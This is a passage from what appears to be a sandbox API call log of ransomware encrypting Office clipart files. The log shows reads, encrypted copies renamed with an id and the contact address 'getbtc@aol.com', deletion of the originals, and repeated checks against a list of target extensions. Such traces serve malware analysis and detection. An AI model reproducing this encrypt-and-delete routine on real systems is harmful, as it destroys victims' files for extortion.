[0243.740] GetLastError () returned 0x0 [0243.740] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1264, lpOverlapped=0x0) returned 1 [0243.744] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1270, lpOverlapped=0x0) returned 1 [0243.745] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.745] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.745] SetEndOfFile (hFile=0x200) returned 1 [0243.745] CloseHandle (hObject=0x200) returned 1 [0243.745] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.745] SetEndOfFile (hFile=0x3b8) returned 1 [0243.747] CloseHandle (hObject=0x3b8) returned 1 [0243.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0243.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0243.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0243.749] lstrlenW (lpString=".doc") returned 4 [0243.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.749] lstrlenW (lpString=".docx") returned 5 [0243.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.749] lstrlenW (lpString=".pdf") returned 4 [0243.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.749] lstrlenW (lpString=".xls") returned 4 [0243.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.749] lstrlenW (lpString=".xlsx") returned 5 [0243.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.749] lstrlenW (lpString=".ppt") returned 4 [0243.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0243.749] lstrlenW (lpString=".zip") returned 4 [0243.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.749] lstrlenW (lpString=".rar") returned 4 [0243.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.749] lstrlenW (lpString=".bz2") returned 4 [0243.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.749] lstrlenW (lpString=".7z") returned 3 [0243.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0243.750] lstrlenW (lpString=".dbf") returned 4 [0243.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0243.750] lstrlenW (lpString=".1cd") returned 4 [0243.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0243.750] lstrlenW (lpString=".jpg") returned 4 [0243.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0243.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0243.750] lstrlenW (lpString=".doc") returned 4 [0243.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.750] lstrlenW (lpString=".docx") returned 5 [0243.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.750] lstrlenW (lpString=".pdf") returned 4 [0243.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.750] lstrlenW (lpString=".xls") returned 4 [0243.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.750] lstrlenW (lpString=".xlsx") returned 5 [0243.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.750] lstrlenW (lpString=".ppt") returned 4 [0243.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0243.750] lstrlenW (lpString=".zip") returned 4 [0243.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.750] lstrlenW (lpString=".rar") returned 4 [0243.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.750] lstrlenW (lpString=".bz2") returned 4 [0243.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.750] lstrlenW (lpString=".7z") returned 3 [0243.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0243.750] lstrlenW (lpString=".dbf") returned 4 [0243.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0243.751] lstrlenW (lpString=".1cd") returned 4 [0243.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0243.854] lstrlenW (lpString=".jpg") returned 4 [0243.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.854] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.854] lstrlenW (lpString="BL00262_.WMF") returned 12 [0243.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0243.864] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2556) returned 1 [0243.864] CloseHandle (hObject=0x360) returned 1 [0243.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x20 [0243.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0243.864] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.864] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.868] GetLastError () returned 0x0 [0243.868] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x9fc, lpOverlapped=0x0) returned 1 [0243.876] WriteFile (in: hFile=0x3a4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0243.877] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.877] WriteFile (in: hFile=0x3a4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.877] SetEndOfFile (hFile=0x3a4) returned 1 [0243.877] CloseHandle (hObject=0x3a4) returned 1 [0243.877] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.877] SetEndOfFile (hFile=0x360) returned 1 [0243.880] CloseHandle (hObject=0x360) returned 1 [0243.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0243.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0243.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0243.932] lstrlenW (lpString=".doc") returned 4 [0243.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.932] lstrlenW (lpString=".docx") returned 5 [0243.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.932] lstrlenW (lpString=".pdf") returned 4 [0243.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.932] lstrlenW (lpString=".xls") returned 4 [0243.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.932] lstrlenW (lpString=".xlsx") returned 5 [0243.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.932] lstrlenW (lpString=".ppt") returned 4 [0243.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0243.932] lstrlenW (lpString=".zip") returned 4 [0243.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.932] lstrlenW (lpString=".rar") returned 4 [0243.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.932] lstrlenW (lpString=".bz2") returned 4 [0243.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.932] lstrlenW (lpString=".7z") returned 3 [0243.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0243.932] lstrlenW (lpString=".dbf") returned 4 [0243.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0243.932] lstrlenW (lpString=".1cd") returned 4 [0243.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0243.933] lstrlenW (lpString=".jpg") returned 4 [0243.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0243.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0243.933] lstrlenW (lpString=".doc") returned 4 [0243.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.933] lstrlenW (lpString=".docx") returned 5 [0243.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.933] lstrlenW (lpString=".pdf") returned 4 [0243.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.933] lstrlenW (lpString=".xls") returned 4 [0243.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.933] lstrlenW (lpString=".xlsx") returned 5 [0243.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.933] lstrlenW (lpString=".ppt") returned 4 [0243.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0243.933] lstrlenW (lpString=".zip") returned 4 [0243.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.933] lstrlenW (lpString=".rar") returned 4 [0243.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.933] lstrlenW (lpString=".bz2") returned 4 [0243.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.933] lstrlenW (lpString=".7z") returned 3 [0243.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0243.933] lstrlenW (lpString=".dbf") returned 4 [0243.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0243.933] lstrlenW (lpString=".1cd") returned 4 [0243.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0243.933] lstrlenW (lpString=".jpg") returned 4 [0243.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.934] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.934] lstrlenW (lpString="BL00267_.WMF") returned 12 [0243.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0243.934] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2644) returned 1 [0243.934] CloseHandle (hObject=0x37c) returned 1 [0243.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20 [0243.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0243.935] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.935] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0243.935] GetLastError () returned 0x0 [0243.935] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xa54, lpOverlapped=0x0) returned 1 [0243.950] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xa60, lpOverlapped=0x0) returned 1 [0243.951] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.951] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.952] SetEndOfFile (hFile=0x3b0) returned 1 [0243.952] CloseHandle (hObject=0x3b0) returned 1 [0243.952] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.952] SetEndOfFile (hFile=0x37c) returned 1 [0244.659] CloseHandle (hObject=0x37c) returned 1 [0244.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0244.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0244.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0244.661] lstrlenW (lpString=".doc") returned 4 [0244.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.661] lstrlenW (lpString=".docx") returned 5 [0244.661] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.661] lstrlenW (lpString=".pdf") returned 4 [0244.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.661] lstrlenW (lpString=".xls") returned 4 [0244.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.661] lstrlenW (lpString=".xlsx") returned 5 [0244.661] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.661] lstrlenW (lpString=".ppt") returned 4 [0244.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0244.662] lstrlenW (lpString=".zip") returned 4 [0244.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.662] lstrlenW (lpString=".rar") returned 4 [0244.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.662] lstrlenW (lpString=".bz2") returned 4 [0244.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.662] lstrlenW (lpString=".7z") returned 3 [0244.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0244.662] lstrlenW (lpString=".dbf") returned 4 [0244.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0244.662] lstrlenW (lpString=".1cd") returned 4 [0244.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0244.662] lstrlenW (lpString=".jpg") returned 4 [0244.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0244.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0244.662] lstrlenW (lpString=".doc") returned 4 [0244.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.662] lstrlenW (lpString=".docx") returned 5 [0244.662] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.662] lstrlenW (lpString=".pdf") returned 4 [0244.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.662] lstrlenW (lpString=".xls") returned 4 [0244.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.662] lstrlenW (lpString=".xlsx") returned 5 [0244.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.662] lstrlenW (lpString=".ppt") returned 4 [0244.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0244.663] lstrlenW (lpString=".zip") returned 4 [0244.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.663] lstrlenW (lpString=".rar") returned 4 [0244.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.663] lstrlenW (lpString=".bz2") returned 4 [0244.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.663] lstrlenW (lpString=".7z") returned 3 [0244.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0244.663] lstrlenW (lpString=".dbf") returned 4 [0244.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0244.663] lstrlenW (lpString=".1cd") returned 4 [0244.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0244.663] lstrlenW (lpString=".jpg") returned 4 [0244.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.756] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.756] lstrlenW (lpString="BL00526_.WMF") returned 12 [0244.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0244.834] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=27552) returned 1 [0244.834] CloseHandle (hObject=0x3ac) returned 1 [0244.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20 [0244.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0244.834] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.834] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0244.835] GetLastError () returned 0x0 [0244.835] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x6ba0, lpOverlapped=0x0) returned 1 [0244.845] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x6bb0, lpOverlapped=0x0) returned 1 [0244.846] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: 